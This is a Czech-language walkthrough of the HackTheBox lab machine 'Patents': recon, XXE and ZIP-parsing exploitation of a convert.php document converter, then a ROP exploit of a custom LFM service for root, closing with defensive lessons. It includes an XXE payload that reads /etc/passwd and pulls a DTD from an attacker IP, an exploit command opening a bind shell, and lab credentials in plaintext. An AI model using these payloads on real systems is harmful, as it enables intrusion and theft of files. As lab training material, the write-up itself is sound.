Patents
Úvod a kontext
Patents se láme už v reconu. release notes, .DS_Store a installed.json prozradí, že web nestojí jen na běžném formuláři, ale na convert.php a backendu gears/pdf. Právě proto dává smysl zkoušet nejen XXE, ale i to, jak převodník zachází se ZIP strukturou kancelářských dokumentů.
Je důležité nemíchat dvě různé útokové plochy. Webová část končí shellem přes convert.php, zatímco root už patří úplně jiné vrstvě: službě lfmserver na 8888/tcp, vlastnímu protokolu LFM a nativní ROP exploataci.
Počáteční průzkum
Web a podezřelá služba na 8888
Základní scan ukáže Apache na 80/tcp a neznámou službu na 8888/tcp, která odpovídá hláškou LFM 400 BAD REQUEST. To je samo o sobě důležitý signál, že na hostu běží vedle webu ještě druhý dokumentový backend.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8888/tcp open sun-answerbook?
|_ LFM 400 BAD REQUEST
UpdateDetails a installed.json
Enumerace webu najde přesně to, co je na Patents nejcennější: /release/UpdateDetails a veřejně čitelný vendor/composer/installed.json.
Pro podobné content discovery dává smysl i tady systematicky použít Dirsearch, protože rozhodující nebyla titulní stránka, ale vedlejší artefakty a interní cesty.
./dirsearch/dirsearch.py -u http://patents.htb/ -e php -x 403
/.DS_Store
/release/UpdateDetails
/upload.php
/vendor/composer/installed.json
Release notes přímo zmiňují zapnuté entity parsing i experimentální include funkcionalitu. To je mimořádně silná indicie k XXE a obecně k problémům při převodu kancelářských dokumentů.
Přesně tenhle typ úvahy rozebírám i v článcích XXE a XML workflow a Document workflow jako RCE nebo file-read primitivum.
v1.2 alpha:
- meow@conquertheworld: Added ability to include patents. Still experimental, it's hidden.
v0.7 alpha:
- meow@conquertheworld.htb: enabled entity parsing in custom folder
- gbyolo@htb: added conversion of all files, to generate pdf compliant from docx
installed.json vedle toho ukáže lokální knihovnu gears/pdf, takže je možné si přesně dohledat, jaký backend convert.php používá.
"name": "gears/pdf",
"source": {
"type": "git",
"url": "./lib/pdf/",
"reference": "__CENSORED__"
}
Analýza zjištění
XXE potvrzuje chování převodníku
Kombinace release notes a Backend.php vedla k nejrozumnějšímu testu: škodlivému docx s externí entitou. Po úpravě word/document.xml a zabalení dokumentu zpět do ZIP formátu šlo ověřit, že převodník skutečně expanduje entity a sahá na lokální soubory.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://10.10.14.13:8000/chm/payload.dtd">
%dtd;
]>
<data>&send;</data>
To je metodicky důležité. XXE samo o sobě ještě negeneruje shell, ale potvrzuje, že convert.php skutečně předává řízení parseru, který je ochotný pracovat s nedůvěryhodným obsahem dokumentu.
Přes ZIP parsing k prvnímu shellu
Jakmile bylo zřejmé, že backend bez větší opatrnosti rozbaluje a převádí kancelářské archivy, dávalo smysl zkusit i druhou třídu chyby: zneužití zpracování ZIP struktury na stejném endpointu convert.php.
V podkladech byl připravený exploit exploit.py, který cílil právě na tento převodník:
python exploit.py --bind-port 5555 http://patents.htb/convert.php
curl -F "submit=a" -F "userfile=@doc.docx" -X POST http://patents.htb/convert.php
Výsledkem byl první kód na serveru. Patents tak hezky ukazuje, jak se recon přes composer metadata, release notes a XXE testy promění v praktický foothold, aniž by bylo potřeba útočit naslepo.
Získání přístupu
Shell přes convert.php
Po úspěšném zneužití převodníku bylo možné spustit kód v kontextu webové aplikace a potvrdit běžný uživatelský přístup. User část na Patents tedy nevychází z dalšího reuse na SSH, ale přímo z kompromitace převodníku dokumentů.
To je přesně ten typ situace, kdy dává smysl zůstat chvíli ve webovém kontextu a pečlivě oddělit první shell od root části. Dokumentový backend a lfmserver jsou dvě různé útokové plochy a je užitečné je v hlavě nemíchat.
Eskalace oprávnění
lfmserver na 8888 a ROP exploit
Samostatná root část míří na službu na 8888/tcp. Ta odpovídala protokolem LFM a exploit v podkladech ukazoval, že backend zpracovával požadavky ve formátu CHECK /... LFM.
CHECK /... LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
Exploitační logika už byla úplně jiná než u convert.php. Nešlo o XML nebo ZIP parsing, ale o nativní memory corruption ve vlastní backendové službě, tedy přesně tu druhou polovinu řetězce, kterou shrnuji v článku Memory corruption a binary exploitation v praxi. Exploit postupně:
- získal potřebné informace o paměti,
- leaknul adresy přes GOT,
- a následně sestavil ROP řetězec až k shellu.
Po úspěšném ROP řetězci už zbývá jen převzít shell a dočíst root.txt.
Shrnutí klíčových poznatků
- Patents nezačíná exploit skriptem, ale veřejnými artefakty, které velmi přesně popíší interní architekturu aplikace.
- User část stojí na dokumentovém převodníku
convert.php, kde se propojí XXE, ZIP parsing a nedostatečně izolovaný backend. - Root část je zcela oddělená: vlastní služba
lfmserver, vlastní protokolLFMa nativní memory corruption s ROP.
Co si odnést do praxe
- Release notes,
installed.json,.DS_Storea podobné artefakty nesmějí být veřejné. Na Patents z nich šlo prakticky zrekonstruovat interní roadmapu i použité knihovny. - Převodníky dokumentů je potřeba sandboxovat a oddělit od citlivého filesystemu. XML a ZIP parsery nejsou „pomocná funkce“, ale plnohodnotná bezpečnostní hranice.
- Pokud web spouští převod dokumentů, neměl by tento backend běžet se zbytečnými oprávněními ani mít volný přístup k dalším interním službám.
- Vlastní binární protokoly a interní utility je nutné auditovat stejně přísně jako veřejný web. Jakmile v nich zůstane memory corruption, veškerá vyšší aplikační logika přestává být relevantní.